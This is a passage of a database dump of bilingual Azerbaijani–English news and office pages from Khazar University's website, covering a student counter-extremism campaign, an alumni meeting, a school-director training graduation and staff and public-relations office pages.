Xəzər\r\nUniversitetinin İqtisadiyyat və menecment fakültəsinin tələbələrindən ibarət\r\n“Imagine” komandası P2P: Ekstremizmə qarşı Mübarizə Proqramında iştiraklarının\r\nbir hissəsi kimi üzərində çalışdıqları marketinq kampaniyası çərçivəsində nəzərdə\r\ntutulan tədbirlər silsiləsindən ilk tədbirlərini keçirdilər. Bu proqram ABŞ\r\nDövlət Departamentinin Təhsil və Mədəniyyət Məsələləri Bürosu tərəfindən dəstəklənir\r\nvə&nbsp;<em>EdVenture Partners</em>&nbsp;marketinq şirkəti tərəfindən maliyyələşdirilir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İlk tədbir Xəzər Universitetinin “Dünya” məktəbində\r\nbaş tutdu və iki hissədən ibarət oldu: şagirdlər üçün təqdimat və valideynlərlə\r\ntəlim.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Şagirdlərlə keçirilən interaktiv oyunlar\r\nonlara özlərini ifadə etməyə, ekstremizm, tolerantlıq, mədəni fərqlilik və digər\r\nmühüm mövzular haqqında öyrənməyə imkan verdi. “Imagine” komandasının danışdığı\r\n“Qoca kişi və zanbaqlar”\r\nhaqqında nağıl onlara kiçik bir dəyişikliyin belə, möcüzələr yarada biləcəyini\r\ngöstərdi. Nağıl həmçinin, qarşılıqlı anlaşma, yaxşılıq və bir-birinə xoş söz\r\ndemənin vacibliyini vurğulayırdı. Komanda üzvləri şagirdləri marketinq\r\nkampaniyası çərçivəsində keçirilən şəkil müsabiqəsi haqqında da məlumatlandırdılar\r\nvə onları iştirak etməyə dəvət etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbirdən sonra komanda üzvləri məktəbin həmtəsisçisi\r\nNailə İsayeva və məktəbin direktoru Mərufə Mədətli ilə görüşdülər. Onlar\r\nkomandanın gördüyü işlərin vacibliyini vurğuladı və səylərinə görə öz təşəkkürlərini\r\nbildirdilər. Məktəbin həmtəsisçisinə “Imagine” fincanı hədiyyə olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Valideynlərlə keçirilən təlimdə komandanın\r\nhazırladığı video nümayiş etdirildi. Video valideynlərin uşaqların gələcəyinə və\r\nbir fərd kimi şəxsi inkişafına necə təsir göstərdiklərinə yönəlmişdi və\r\nvalideynlərlə müzakirə ilə davam etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">“Imagine” komandası şagirdlər və valideynlərə\r\nkiçik suvenirlər hədiyyə etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Komanda proqram çərçivəsində tədbirlər\r\nsilsiləsi planlaşdırır. Əsas tədbir aprelin 29-u Xəzər Universitetinin “Mərmər”\r\nzalında keçiriləcək.&nbsp;</p>'),(1653,1019,'en','“P2P: Challenging Extremism” Program - Imagine Team of Khazar University Challenges Extremism One Step at a Time','On April 26, the Imagine Team comprised of students of the School of Economics and Management of Khazar University carried out the first of a series of events held in the framework of the marketing campaign they are working on as part of their participation in the P2P: Challenging Extremism Program. The P2P: Challenging Extremism Program is supported by the Bureau of Educational and Cultural Affairs of the United States Department of State and funded by the EdVenture Partners (EVP), a peer-to-peer marketing firm.','<p>On&nbsp;April 26, the Imagine Team comprised of students of the School of Economics and Management of Khazar University carried out the first&nbsp;of a&nbsp;series of events held in&nbsp;the&nbsp;framework&nbsp;of the marketing campaign they&nbsp;are&nbsp;working&nbsp;on as part of their participation in the P2P: Challenging Extremism Program. The P2P: Challenging Extremism Program is&nbsp;supported by the Bureau of Educational and Cultural Affairs of the United States Department of State and funded by the EdVenture Partners (EVP), a peer-to-peer marketing firm.</p><p>The first event took place at Dunya School, an affiliate of Khazar University,&nbsp;and consisted of two parts:&nbsp;a&nbsp;presentation session for students and&nbsp;a&nbsp;workshop with parents.</p><p>The session for students included interactive games and activities that allowed them to express themselves&nbsp;while learning&nbsp;about various forms of extremism, tolerance, cultural differences,&nbsp;and other important topics. \"The Old Man and Tulips” story narrated by the Imagine team&nbsp;showed&nbsp;the youngsters how even a small change could do wonders. The story also emphasized the importance of mutual understanding, kindness,&nbsp;and giving each other compliments. The team also informed the students about a photo contest carried out&nbsp;withinthe marketing campaign and encouraged the students to participate in it.</p><p>The event at Dunya School continued with&nbsp;a&nbsp;meeting with the co-founder of the school,&nbsp;Ms. Naila Isayeva,&nbsp;and the Director of the School,&nbsp;Ms. Marufa&nbsp;Madatli,&nbsp;who stressed the importance of the activities carried out by the team and expressed their appreciation of their efforts. A small souvenir,&nbsp;an Imagine mug,&nbsp;was presented to the&nbsp;co-founder of Dunya School.</p><p>The workshop with parents consisted of screening&nbsp;a&nbsp;video made by the team&nbsp;which&nbsp;focuses on how parents can affect the futures&nbsp;of their&nbsp;children and their development as an individual. The video&nbsp;was followed by a discussion with the parents.</p><p>Team Imagine left the students and the parents with small memorable souvenirs.&nbsp;</p><p>Team Imagine&nbsp;is&nbsp;planning&nbsp;a series of events&nbsp;as part&nbsp;of the program.&nbsp;The main event will take place&nbsp;on April 29 in the Marble Hall of Khazar University.</p>'),(1654,1020,'az','Məzunlardan ibarət işçi qrupun görüşü','2016-cı il aprelin 28-də Xəzər Universitetində məzunlardan ibarət işçi qrupun növbəti görüşü keçirildi. Görüşdə Xəzər Universiteti Məzunlar Assosiasiyasının Əsasnaməsi və assosiasiyanın təsis konfransının təşkili ilə bağlı məsələlər müzakirə olundu.','<p>2016-cı il aprelin 28-də Xəzər Universitetində məzunlardan ibarət işçi qrupun növbəti görüşü keçirildi. Görüşdə Xəzər Universiteti Məzunlar Assosiasiyasının Əsasnaməsi və assosiasiyanın təsis konfransının təşkili ilə bağlı məsələlər müzakirə olundu.</p><p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs görüş iştirakçılarını salamladı və gündəlikdə olan məsələlərlə bağlı öz fikirlərini bildirdi. Canlı diskussiyanın gedişində fəal iştirak edən məzunlar əsasnamə ilə bağlı öz fikir və təkliflərini səsləndirdilər. Daha sonra iştirakçılar assosiasiyanın təsis konfransının təşkili ilə bağlı müzakirə apardılar. Təsis konfransının 2016-cı il iyunun birinci ongünlüyündə keçirilməsi qərara alındı və bu məqsədlə Təşkilat Komitəsi yaradıldı. Xəzər Universiteti Məzunlarla İş şöbəsinin müdiri Baba Bayramlı Təşkilat Komitəsinin sədri, məzunlardan Nigar Kərimova və Şəhriyar Məmmədov sədrin müavinləri və Nigar Cabbarova komitənin katibi seçildilər.</p><p>&nbsp;</p>'),(1655,1020,'en','Alumni Working Group Meeting','On April 28, 2016, the Khazar University Alumni Working Group held a meeting to discuss a charter for the Khazar University Alumni Association and issues related to organizing the association’s founding conference.','<p>On April 28, 2016, the Khazar University Alumni Working Group held a meeting to discuss a charter for the Khazar University Alumni Association and issues related to organizing the association’s founding conference.</p><p>Dr. Hasan Niknafs, President of Khazar University, opened the meeting by greeting the alumni and expressing his views on agenda items. Then a lively discussion took place, in which alumni shared their opinions and suggestions about the charter. A decision was made to hold the founding conference during the first 10 days of June 2016, and an Organizing Committee was formed. Baba Bayramli, Director of the Center for Alumni Relations, was selected as the chairman of the committee. Other committee members will include Nigar Karimova and Shahriyar Mammadov as deputy chairmen as well as Nigar Jabbarova as the committee secretary.</p><p>&nbsp;</p>'),(1656,1021,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu”nun 3-cü buraxılışı oldu','2016-ci il aprelin 28-də Xəzər Universitetinin “Neftçilər” kampusunun “Mərmər” zalında kursu bitirən 64 məzuna sertifikat təqdim olunması münasibətilə mərasim keçirildi. Mərasimi Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı açaraq, kursun əhəmiyyətindən danışdı, Xəzər Universitetinin ümumitəhsil sisteminə və gələcək direktorlara daima dəstək olmağa hazır olduğunu qeyd etdi və məzunlara bu məsuliyyətli işdə uğurlar arzuladı.','<p>2016-ci il aprelin 28-də Xəzər Universitetinin “Neftçilər” kampusunun “Mərmər” zalında kursu bitirən 64 məzuna sertifikat təqdim olunması münasibətilə mərasim keçirildi. Mərasimi Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı açaraq, kursun əhəmiyyətindən danışdı, Xəzər Universitetinin ümumitəhsil sisteminə və gələcək direktorlara daima dəstək olmağa hazır olduğunu qeyd etdi və məzunlara bu məsuliyyətli işdə uğurlar arzuladı. Xəzər Universitetinin rektoru Dr. Hassan Niknafs isə çıxışında təhsil sahəsində islahatların zəruriliyindən danışdı. Sonra sertifikatların təqdim olunması mərasimi başlandı. Sertifikatları professor Hamlet İsaxanlı, Dr. Hassan Niknafs, universitetin prorektorları – Məhəmməd Nuriyev və İsaxan İsaxanlı təqdim etdilər.</p><p>Xatirə şəkilləri çəkildi.</p><p>Kursu bitirənlər adından Nizami Fətəliyev, Alı Məmmədov və Aynurə Müseyibli çıxış edərək, layihə rəhbəri – Xəzər Universiteti İnkişaf Mərkəzinin direktoru Raziyə İsayevaya, layihə koordinatoru – Xəzər Universiteti Təhsil fakültəsinin dekanı Elza Səmədovaya və layihənin digər təşkilatçılarına minnətdarlıqlarını bildirdilər. Aynurə Müseyibli “Xəzər”ə həsr etsiyi şeiri oxudu:</p>\r\n<p>Xəzər qucaq açdi gəlişimizə,</p><p>Gozəl xatirələr yaşatdı bizə.</p><p>Görüb gözəlliyi sevindi ürək.</p><p>Hamlet bəy, biz sizə 100 yaşa deyək.</p>\r\n<p>Bütün dəyərlərin qanunluğunu,</p><p>Akif müəllim dedi hüquqdur sonu.</p><p>Ömrümüz yazılsın hər ötən ana,</p><p>Təşəkkür söyləyək Elza xanıma.</p>\r\n<p>Sağlam gələcəyə qurbandır canım,</p><p>Haqqını halal et, Raziyə xanım.</p><p>Hərəmiz yad idik burada qaldıq,</p><p>Xəzərdə görüşüb mehriban olduq.</p>\r\n<p>Bu gün təltif ücün durduq yan-yana</p><p>Dostlar, layiq olaq Azərbaycana.</p><p>Bizləri gozləyir zirvələr hələ,</p><p>İlhamla biz gedek gələcəyə.</p>\r\n<p>Sonda tədbir iştirakçılarına Xəzər Universiteti Musiqi və incəsənət departamentinin hazırladığı konsert proqramı təqdim olundu.</p><p>Bu kurs Azərbaycan Respublikası Təhsil Nazirliyinin məktəblərin idarə edilməsi üzrə apardığı islahatları dəstəkləmək məqsədilə Xəzər Universitetində həyata keçirilən potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə 3-cü turunu başa vurmuşdur.</p><p>Təlimin əsas məqsədi ölkədəki yeni təhsil strategiyasına və təhsil islahatına uyğun olaraq məktəb direktorlarının və gələcəkdə bu sahədə fəaliyyət göstərmək istəyən təhsil işçilərinin bilik və bacarıqlarını artırmaq, onları dünyadakı səmərəli idarəetmə təcrübəsi ilə tanış etməkdir.</p><p>Üç aylıq kursun məşğələlərində iştirakçıların təqdimatları olmuş, müzakirələr və söhbətlər aparılmışdır. Onlar kursun çox əhəmiyyətli olduğunu, əldə etdikləri nəzəri və təcrübi bilikləri öz işlərində tətbiq edəcəklərini bildirmişlər.</p>'),(1657,1021,'en','3rd Graduation of Training Course for Potential School Directors','On April 28, 2016, a ceremony was held in the Marble Hall on Khazar University’s Neftchilar campus to present certificates to 64 trainees completing the Course for Potential School Directors. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, opened the ceremony.','<p>On April 28, 2016, a ceremony was held in the Marble Hall on Khazar University’s Neftchilar campus to present certificates to 64 trainees completing the Course for Potential School Directors. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, opened the ceremony. He spoke about the significance of the course, noting that Khazar University is always ready to support the general education system and future school directors. Dr. Hasan Niknafs, President of the University, made a speech about the necessity for reforms in the education system. Certificates were handed out by Prof. Hamlet Isaxanli, Dr. Hasan Niknafs, and Vice Presidents Mahammad Nuriyev and Isakhan Isakhanli.</p><p>Nizami Fataliyev, Ali Mammadov and Aynura Museyibli made speeches on behalf of the graduates of the program to thank the project manager, Khazar University Development Director Raziya Isayeva, and the project coordinator, Dean of the School of Education Elza Samadova, as well as other coordinators of the course.</p><p>Khazar University Department of Music and Fine Arts gave a concert program for the event participants.</p><p>This training course for potential school directors, which was designed to support school administration reforms carried out by the Ministry of Education of the Azerbaijan Republic, has now completed its third iteration at Khazar University.</p><p>The main objective of the project is to increase the knowledge and skills of school directors and educational workers interested in working as school directors in the future in accordance with the new education strategy and the educational reforms of the country as well as to introduce the participants to best practices from global experience in education.</p><p>During the three-month course participants made presentations, held discussions and had conversations. They stated that the course was very important for them and that they would apply their new practical skills and theoretical knowledge in their jobs.</p>'),(1658,1022,'en','P2P: Challenging Extremism - Imagine Team of Khazar University Launches Marketing Campaign','On April 29, 2016, the Imagine team of the university launched a digital marketing campaign they had designed as part of their participation in the P2P: Challenging Extremism program sponsored by the U. S. Department of State and Edventure firm. The event took place in the Marble Hall of the Neftchilar campus and was coordinated by the Imagine team, the International Affairs Office, the School of Economics and Management, and the Office of Public Relations and Media.','<div>On April 29, 2016, the Imagine team of the university launched a digital marketing campaign they had designed as part of their participation in the P2P: Challenging Extremism program sponsored by the U. S. Department of State and Edventure firm. The event took place in the Marble Hall of the Neftchilar campus&nbsp;and was coordinated by the Imagine team, the International Affairs Office, the School of Economics and Management, and the Office of Public Relations and Media.</div><div>&nbsp;</div><div>Participants of the event included academic and administrative staff members of Khazar University as well as local and international students. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, also participated in the event.</div><div>Dr. Hasan Niknafs, President of Khazar University, opened the event and welcomed the participants. Dr. Niknafs stressed the importance of the event and wished our team good luck in the global competition. Then Professor Ingilab Ahmadov, Dean of the School of Economics and Management, spoke about the team and how participation in this program helped to enrich the marketing course the students took in the current semester.&nbsp;</div><div>&nbsp;</div><div>Ms. Turan Jafarova, Director of the International Affairs Office, delivered a presentation about P2P: Challenging Extremism, the global youth initiative and international competition. She shared information about the goal of the program, the way it is carried out, and the university\'s participation in it. Ms. Jafarova stressed the importance of the program and the impact it could have against extremism, and she encouraged the participants to support the Imagine team.</div><div>&nbsp;</div><div>Ms. Sana Imran, marketing instructor and the leader of the Imagine team, informed the audience about the activities that the team carried out and thanked the university management and administration for the support provided to the team.</div><div>&nbsp;</div><div>The members of the team made several presentations that covered the following topics: extremism, its main reasons and sources, effects of extremism on society and children, and how to fight it. A video was also prepared as part of the marketing campaign of the team. The video focused on how parents could potentially influence the choices their children would make as adults. Special attention was given to the activities carried out by the team in the frame of their marketing campaign: team members spoke about their survey carried out with parents both online and in person, presentations for schoolchildren, workshops for parents, promotional events at local malls, and other activities.</div><div>&nbsp;</div><div>The event also included a dance performance: Erlan Ismayilov danced to the \"Imagine\" song by John Lennon.</div><div>&nbsp;</div><div>“The Book of Mankind” was also launched during the event by Professor Hamlet Isaxanli. “The Book of Mankind” is a manual which includes training materials that will help parents, teachers, youth leaders, and others fight extremism through interactive activities, stories, games, etc. The team plans to translate the manual into both Azerbaijani and English and disseminate it in local schools, kindergartens, and other educational institutions.&nbsp;&nbsp;</div><div>&nbsp;</div><div>Participants of the event were awarded with memorable souvenirs – each participant was registered for a lucky draw at the door and the winners received prizes.&nbsp;</div><div>&nbsp;</div><div>The team concluded the event by performing the famous “We Are the World” song. The Imagine team members thanked all participants for attending the event and encouraged them to support the team in the global competition.</div>'),(1659,1023,'az','“Xəzər”in əməkdaşı psixoloji test hazırladı','2016-cı il mayın 2-də mir.com xəbər saytında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin psixologiya kafedrasının müəllimi Mələk Kərimovanın türkiyəli mütəxəssis Səlim Günüçlə birlikdə internet asılılığının müəyyənləşdirilməsi ilə bağlı testin Azərbaycanda istifadəyə uyğunlaşdırması ilə bağlı “Azərbaycanda tələbələrin neçə faizində internet asılılığı var?” adlı yazı yayınlanmışdır.','<p>2016-cı il mayın 2-də<strong><em>&nbsp;mir.com</em></strong>&nbsp;xəbər saytında Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin psixologiya kafedrasının müəllimi Mələk Kərimovanın türkiyəli mütəxəssis Səlim Günüçlə birlikdə internet asılılığının müəyyənləşdirilməsi ilə bağlı testin Azərbaycanda istifadəyə uyğunlaşdırması ilə bağlı “Azərbaycanda tələbələrin neçə faizində internet asılılığı var?” adlı yazı yayınlanmışdır.</p><p>Testin keçirilməsi və nəticələri ilə bağlı geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p><a href=\"https://wsemir.com/xeberler/tehsil/66256-azerbaycanda-telebelerin-nece-faizinde-internet-asililigi-var.html\" target=\"_blank\">https://wsemir.com/xeberler/tehsil/66256-azerbaycanda-telebelerin-nece-faizinde-internet-asililigi-var.html</a>.</p>'),(1660,1023,'en','Khazar Faculty Member Prepares Psychological Test','On May 2, 2016, the mir.com news site published an article entitled “What percent of Azerbaijani Students have Internet Addiction?” based on the research of Melek Kerimova, instructor for the Psychology Department within the Khazar University School of Humanities and Social Sciences, and Turkish expert Selim Gunuc, in which they adapted a test on internet addiction for use in Azerbaijan.','<p>On May 2, 2016, the&nbsp;<strong>mir.com</strong>&nbsp;news site published an article entitled “What percent of Azerbaijani Students have Internet Addiction?” based on the research of Melek Kerimova, instructor for the Psychology Department within the Khazar University School of Humanities and Social Sciences, and Turkish expert Selim Gunuc, in which they adapted a test on internet addiction for use in Azerbaijan.</p><p>More information about the test and its results are available at the following link:</p><p><a href=\"https://wsemir.com/xeberler/tehsil/66256-azerbaycanda-telebelerin-nece-faizinde-internet-asililigi-var.html\" target=\"_blank\">https://wsemir.com/xeberler/tehsil/66256-azerbaycanda-telebelerin-nece-faizinde-internet-asililigi-var.html</a>.</p>'),(1661,1024,'en','European University History Lecture on Triangle of Science Show','On May 1, 2016, the “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was broadcast on Public TV. ','<div><span style=\"font-family:\'times new roman\', times, serif\">On May 1, 2016, the “Elm üçbucağı” (Triangle of Science) program by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was broadcast on Public TV. The theme of the lecture during the broadcast was “Development History of Paris University and European Universities.” Khazar University faculty and staff members also participated as audience members during the show.</span></div>'),(1662,1024,'az',' “Elm üçbucağı”nda bu dəfə “Paris universiteti və Avropada universitetlərin inkişaf tarixi”ndən söhbət açıldı','2016-cı il mayın 1-də İctimai TV-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Elm üçbucağı” proqramının növbəti verilişi oldu.','<p>2016-cı il&nbsp;mayın 1-də&nbsp;İctimai TV-də Xəzər Universitetinin&nbsp;təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri&nbsp;professor Hamlet İsaxanlının “Elm üçbucağı” proqramının növbəti verilişi oldu. Veriliş&nbsp;“Paris universiteti və Avropada universitetlərin inkişaf tarixi” mövzusuna həsr olunmuşdu.</p><p>Verilişdə universitetin əməkdaşları da dinləyici qismində iştirak edirdilər.</p>'),(1665,1034,'en','Staff','Staff','<div><br></div><div><img src=\"/files/social/ulker.jpg\" style=\"width:150px;height:100px;margin:7px;float:left\"><br></div><div><strong><a href=\"http://www.khazar.org/files/pdf/ULKER%20ISAYEVA-CV.pdf\">Ulkar Isayeva</a></strong>&nbsp;</div><div><br></div><div style=\"font-size:medium\">Ulker Isayeva was born in 1985 in Baku. She graduated from biochemistry class at Zangi lyceum in 2001, and left for America to continue her education. She studied Psychology at Santa Monica College in Los Angeles, America and Bogazici University in Istanbul, Turkey. She studied Cognitive Neuropsychology and got a master degree at York University in Great Britain.   <br></div><div style=\"font-size:medium\">Since that time, Ulker Isayeva had worked at Khazar University and created one of the first Psychological Counseling and Psychotherapy center in Azerbaijan. Currently, she works as a head of Human Resources Department and also is a teacher of Psychology Department. </div><div style=\"font-size:medium\">Since 2009, she has done a&nbsp;lot of trainings at some popular and big companies of Azerbaijan. Pasha Bank, &nbsp;Euromed, Sabina perfumery and cosmetics shops, Inci, World Telecom chain stores are in the list that, she has done trainings. </div><div style=\"font-size:medium\">Ulker Isayeva is a participator of some trainings and conferences in foreign countries. She knows perfectly Azerbaijani, Russian and English and makes training in these languages. She is a co-founder of ASAIF and ASAAP organizations. </div><div style=\"font-size:medium\">Ulker Isayeva is also a member of American Psychology Association. </div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p><br>  </div><div><br></div>'),(1809,1120,'en','Khazar University Participates in International Staff Week at Kozminski University','On May 9-13, 2016, Ms. Turan Jafarova, Director of the International Affairs Office, participated in the International Staff Week organized by Kozminski University within the Erasmus Plus Programme. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">On\r\nMay 9-13, 2016, Ms. Turan Jafarova, Director of the International Affairs\r\nOffice, participated in the International Staff Week organized by Kozminski\r\nUniversity within the Erasmus Plus Programme. The event took place in Warsaw,\r\nPoland and attracted numerous universities from both European and non-European\r\ncountries. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">The\r\nInternational Staff Week was dedicated to managing the internationalization\r\nprocesses. The aim was to bring together representatives in charge of the internationalization\r\nprocess from various universities to exchange ideas and knowledge, hold\r\ndiscussions, network, strengthen existing partnerships and initiate new\r\nconnections. Topics covered during the Staff Week included best practices of\r\nthe internationalization process, accreditations, successful implementation of\r\nErasmus + projects, international job experience and careers, engagement of\r\ninternational students in university activities, and more.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Participants\r\nof the staff week included representatives of universities from Canada, China,\r\nCzech Republic, Georgia, India, Japan, Kazakhstan, Malaysia, Mexico, Peru,\r\nRussia, Slovenia, Ukraine, and USA.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">While\r\nparticipating in the staff week, Ms. Jafarova met with representatives of\r\npartner universities, discussed cooperation within Erasmus Plus Programme, and\r\nconnected with potential new partners. Ms. Jafarova also met with a bachelor\r\nstudent of Kozminski University interested in spending his exchange semester at\r\nKhazar University.</p>'),(1666,1035,'en','Contact Us','Contact Us','<p><strong>E-mail:</strong> </p><p> uisayeva[at]khazar.org</p>\r\n<p>amukhtarova[at]khazar.org</p>\r\n<p><strong>Tel:</strong>&nbsp;&nbsp;</p>\r\n<p><br></p><p><br></p>'),(1667,1037,'az','İctimaiyyətlə əlaqələr və media şöbəsi','İctimaiyyətlə əlaqələr və media şöbəsi','<p><strong><img src=\"/files/social/15_06_05_PR_AND_MED%C4%B0A.jpg\" style=\"width:350px;height:154px;margin:7px;float:left\"><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p>Xəzər Universitetinin İctimai Əlaqələr və Media Qurumu (İƏMQ) 2008-ci ilin mart ayında yaradılmışdır. Əsas məqsədi Xəzər Universitetinin daxilindəki bütün qurumlarla, ölkə ictimaiyyəti və media qurumları ilə əlaqə yaratmaq, yerli və xarici şirkətlərlə təmasda olmaq, məlumatlar əldə etmək və universitetin adını yüksəltmək üçün geniış fəaliyyət göstərməkdir.</p><h3>Universitet daxilində fəaliyyət:</h3><h4>A. Universitetdə olan akademik qurumlarla fəaliyyət:</h4><p>İƏMQ – Universitetin akademik qurumlarının təşkil etdiyi konfrans, simpozium və digər elmi kütləvi tədbirlərin təşkili və keçirilməsində köməklik göstərir.</p><h3>Fəaliyyət dairəsi:</h3><p>1. Akademik tədbirlərin keçirilməsinə yardım etmək;</p><p>2. Təşkilati işlərin mahiyyətinə uygun olaraq lazımı şəxslər və qurumlarla əlaqə yaratmaq;</p><p>3. Kütləvi tədbirlər haqqında məlumatları mətbuata çatdırmaq;</p><p><br></p><h4>B. Tələbələr və onların ailələri ilə əlaqələrin qurulması:</h4><p>1. Tələbələr və onların ailələri ilə bağlı ictimai anket sorğularının keçirilməsi;</p><p>2. Universiteti ziyarət edən valideynlərlə görüşmək və universitet ilə əlaqədar onları məlumatlandırmaq;</p><p>3. Universitetdə təhsil alan əcnəbi tələbələrlə əlaqə yaratmaq və onlara problemlərində köməklik göstərmək;</p><p>4. Tələbə klublarının (Tələbə Məclisinin) tədbirlərində yaxından iştirak etmək;</p><p><br></p><h4>C. Professor-müəllim heyəti ilə baglı fəaliyyət:</h4><p>1. Simpozium, konfrans və digər elmi-kütləvi tədbirlərin, sərgi, konsert və digər fəaliyyətlərin mətbuatda işıqlandırılması;</p><p><br></p><h4>D. Məzunlarla baglı fəaliyyət:</h4><p>1. Xəzər universitetsini bitirmiş məzunları müəyyənləşdirmək və onlarla iş birliyində yardımçı olmaq;</p><p>a. Qurum tərəfindən xüsusi blankların məzun olacaq tələbələr tərəfindən doldurulması (Məzun Məlumat Bankının–MMB-nin yaradılması)</p><p>b. Xəzər Universitetinin məzun olan tələbələrin yaratdıqları ictimai qurumlarla əlaqə saxlamaq;</p><p>c. Məzunlara Universitet haqqında mütəmadi olaraq məlumatlar çatdırmaq;</p><p><br></p><h3>Universitetdən kənar qurumlarla bağlı fəaliyyət:</h3><h4>A. Yerli, Respublika və Beynəlxalq Media quruluşları ilə əlaqələr:</h4><p>1. Universitet ilə əlaqədar ölkə daxilində və xaricində geniş fəaliyyət göstərmək;</p><p>2. Media mənsubları ilə əlaqə yaratmaq;</p><p>3. Universitet rəhbərliyinin məsləhətinə uygun olaraq professor-müəllim heyətinin, tələbələrin Radio – Televiziya və KİV-də fəal iştiraklarına yardımçı olmaq;</p><p>4. Rado-Televiziya və KİV-də Universitet ilə əlaqədar mühüm xəbərlərin yer almasına çalışmaq;</p><p>5. Universitet ilə əlaqədar büllitenlərin hazırlanması;</p><p>6. Mətbuatda dərc edilən yazılı məlumatların toplanması və Xəzər Universitetinin Mətbuat Arxivinin (MA) yaradılması;</p><p>7. Mətbuatda dərc edilən məlumatlar əsasında ildə bir dəfə “Xəzər Universiteti Mediada” kitabını buraxmaq;</p><p>8. Universitetin tanıtımı üçün video çəkilişlərində yaxından köməklik göstərmək;</p><p><br></p><h4>B. Orta məktəb, Lisey şagirdləri və onların ailələri ilə baglı fəaliyyət:</h4><p>1. Orta məktəbi, liseyi bitirmiş hər bir şagird Xəzər Universitetinin əsas hədəfi olmalıdır;</p><p>2. Orta məktəbi, Liseni bitirəcək şagirdlərlə, onlara və ailələrinə ən çox təsir edə biləcək şəxslərin görüşlərini təşkil etmək;</p><p>3. Orta məktəb və liselərin şagirdlərinə Universitetin bütün fakültələri haqqında geniş məlumatların çatdırılması;</p><p>4. Respublikada və ondan kanar ölkələrdə Universitetin tanıtılmasında yaxından iştirak etmək;</p><p>5. Xəzər Universitetinin tanıtımı ilə əlaqədar broşür, CD, afişalar, video filmlər və digər materialların hazırlanması və təbliğatı;</p><p>6. Universitetə daxil olmaq arzusunda olan orta məktəb, Lisey şagirdlərini universitet ilə yaxından tanış etmək üçün “Açıq Qapı” günlərini təşkil etmək;</p><p>7. Universitetyə qeydiyyat zamanı tələbələrlə və onların valideynləri ilə görüşmək;</p><p>8. Universitetin açılışında (hər il sentyabr ayında) universitetin həyətində valideynlərlə kütləvi şəkildə görüşmək və universitetin əsas məramını onlara çatdırmaq;</p><p><br></p><h4>C. Gənclər Təşkilatları və Qeyri Hökumət Təşkilatları (QHT) ilə baglı fəaliyyət:</h4><p>1. Yerli və beynəlxalq gənclər təşkilatları ilə yaxından əlaqə yaratmaq;</p><p>2. Sponsorların dəstəyi ilə bayram və yubiley proqramları hazırlamaq;</p><p><br></p><h4>D. Bələdiyyələr və digər idarəetmə orqanları ilə baglı fəaliyyət:</h4><p>1. Bələdiyyələrlə və digər idarəetmə orqanları ilə əlaqə yaratmaq, Xəzər Universitetinin fəaliyyəti ilə onları məlumatlandırmaq;</p><p>2. Turizm, bank, sığorta və mədəniyyət sahəsində fəaliyyət göstərən təşkilatlarla Xəzər Universitetinin birgə tədbirlərini təşkil etmək.</p>'),(1668,1037,'en','Public Relations & Media Office','Public Relations & Media Office','<img src=\"/files/social/15_06_05_PR_AND_MED%C4%B0A.jpg\" style=\"width:350px;height:154px;margin:7px;float:left\">'),(1669,1038,'az','Haqqımızda','Haqqımızda','<h3 style=\"text-align:center\"><strong>Xəzər Universiteti İctimai\r\nƏlaqələr və Media Qurumunun</strong></h3>\r\n<h3 style=\"text-align:center\"><strong>&nbsp;</strong><strong>ƏSASNAMƏSİ</strong></h3>\r\n<p>Xəzər\r\nUniversiteti həm Azərbaycanda, həm də Respublikanın hüdudlarından kənarda\r\nda özünəməxsus bir ad qazanmışdır.&nbsp;Bu Universitetin tələbələri və Universiteti\r\nbitirmiş məzunları bu gün dünyanın müxtəlif ölkələrində uğurla\r\nfəaliyyətlərini&nbsp;davam etdirirlər.</p>\r\n<p>İngilis\r\ndilində təhsil verən Xəzər Universiteti və onun tələbələri hər il müxtəlif\r\nakademik proqramlarda yarışırlar.</p>\r\n<p>Xəzər\r\nUniversitetinin İctimai Əlaqələr və Media Qurumu (İƏMQ) 2008-ci ilin mart\r\nayında yaradılmışdır. Əsas məqsədi Xəzər Universitetinin daxilindəki bütün\r\nqurumlarla, ölkə ictimaiyyəti və media qurumları 